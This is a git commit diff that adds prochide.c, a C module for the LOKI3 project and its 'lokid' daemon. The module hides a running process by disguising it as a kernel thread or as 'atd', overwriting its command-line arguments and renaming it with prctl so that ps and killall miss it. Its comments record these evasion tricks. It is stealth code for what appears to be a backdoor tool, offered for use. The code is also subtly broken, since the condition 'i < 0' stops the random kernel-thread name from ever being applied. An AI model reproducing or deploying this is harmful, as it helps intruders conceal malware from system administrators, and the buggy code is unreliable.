diff options
| author | daniel <daniel@planethacker.net> | 2025-05-07 09:45:50 -0700 |
|---|---|---|
| committer | daniel <daniel@planethacker.net> | 2025-05-07 09:45:50 -0700 |
| commit | eeac69b2168c5a65f9608771006ccc43033cbd23 (patch) | |
| tree | 1dc44a6016b607085a691768810d551045df9901 /prochide.c | |
Diffstat (limited to 'prochide.c')
| -rw-r--r-- | prochide.c | 146 |
1 files changed, 146 insertions, 0 deletions
diff --git a/prochide.c b/prochide.c new file mode 100644 index 0000000..951ec35 --- /dev/null +++ b/prochide.c @@ -0,0 +1,146 @@ +/* + * LOKI3 + * + * [ prochide.c ] + * + * 2019 and beyond Elective Surgery [dmfr] + * + * Observations: + * - On Linux, prctl() will not change the output of `ps` + * - `killall lokid won't work against './lokid' after prctl(), + * however it will work against whatever name you set with prctl(). + * - argv[] needs to be overwritten to hide from `ps` + * - /proc/PID/cmdline will still be './lokid' after argv[] and prctl() + * - prctl() is not portable + * - zeroing out argv[0] on Linux makes ps show a blank process + * - invoking lokid with full path gives more room to play with argv[0] + */ + +#include <stdbool.h> +#include <string.h> +#include <limits.h> +#include <dirent.h> +#include <time.h> +#include <sys/types.h> +#ifdef LINUX +#include <sys/prctl.h> +#endif /* LINUX */ + +#include "loki.h" +#include "prochide.h" + + +#define DEFAULT_PROCNAME "atd" /* Default to a small name */ + +struct thread_names { + char name[PATH_MAX]; + int max; +}; + + +bool string_is_number(const char *str) { + return (strspn(str, "0123456789") == strlen(str)) ? true : false; +} + + +bool prochide(int argc, char *argv[]) { + int i; + size_t len; + char progname[PATH_MAX]; + DIR *dirp; + struct dirent *de; + struct thread_names tnames[10]; + + /* Zero out thread names array */ + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + memset(tnames[i].name, 0, sizeof(tnames[i].name)); + tnames[i].max = 0; + } + + srand(time(NULL)); + + /* TODO This is not working on Solaris */ + snprintf(progname, sizeof(progname), "%s", DEFAULT_PROCNAME); + + len = strlen(argv[0]); + + /* Find a random, suitable kernel thread name to mimick. */ + dirp = opendir("/proc"); + if (dirp != NULL) { /* /proc exists */ + while ((de = readdir(dirp)) != NULL) { + if (de->d_type == DT_DIR && string_is_number(de->d_name)) { + FILE *fp; + char buf[PATH_MAX] = {0}; + char commfile[PATH_MAX] = {0}; + + /* Read contents of /proc/PID/comm into buf */ + snprintf(commfile, sizeof(commfile) - 1, "/proc/%s/comm", de->d_name); + if ((fp = fopen(commfile, "r")) != NULL) { + fgets(buf, sizeof(buf), fp); + fclose(fp); + } else { + continue; + } + + if (strlen(buf) > (len - 2)) // account for [] + continue; + + /* Determine if current process's name is suitable */ + char b[PATH_MAX]; + char r[PATH_MAX]; + int d; + + /* We want only string/X, not string/X-foo */ + if (sscanf(buf, "%[^/]/%d%s\n", b, &d, r) != 2) + continue; + + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + /* End of array and string not seen yet */ + if (strlen(tnames[i].name) == 0) { + memcpy(tnames[i].name, b, strlen(b)); + tnames[i].max = d; + break; + } + + /* Check if we have already seen this thread name */ + if (strcmp(b, tnames[i].name) == 0) { + if (d > tnames[i].max) + tnames[i].max = d; + break; + } + } + } + } + + closedir(dirp); + + /* Determine number of entries in tnames */ + for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) { + if (tnames[i].max == 0) + break; + } + + /* Use random tname member */ + if (i < 0) { + int r = rand() % i; + snprintf(progname, sizeof(progname), + "[%s/%d]", tnames[r].name, tnames[r].max + 1); + } + } + + memset(argv[0], 0, len); + memcpy(argv[0], progname, len); + + /* Zero out remaining command line arguments */ + for (i = 1; i < argc; i++) { + memset(argv[i], 0, strlen(argv[i])); + } + +#ifdef LINUX + prctl(PR_SET_NAME, progname, 0, 0, 0); +#endif /* LINUX */ + + return true; +} + +/* EOF */ |
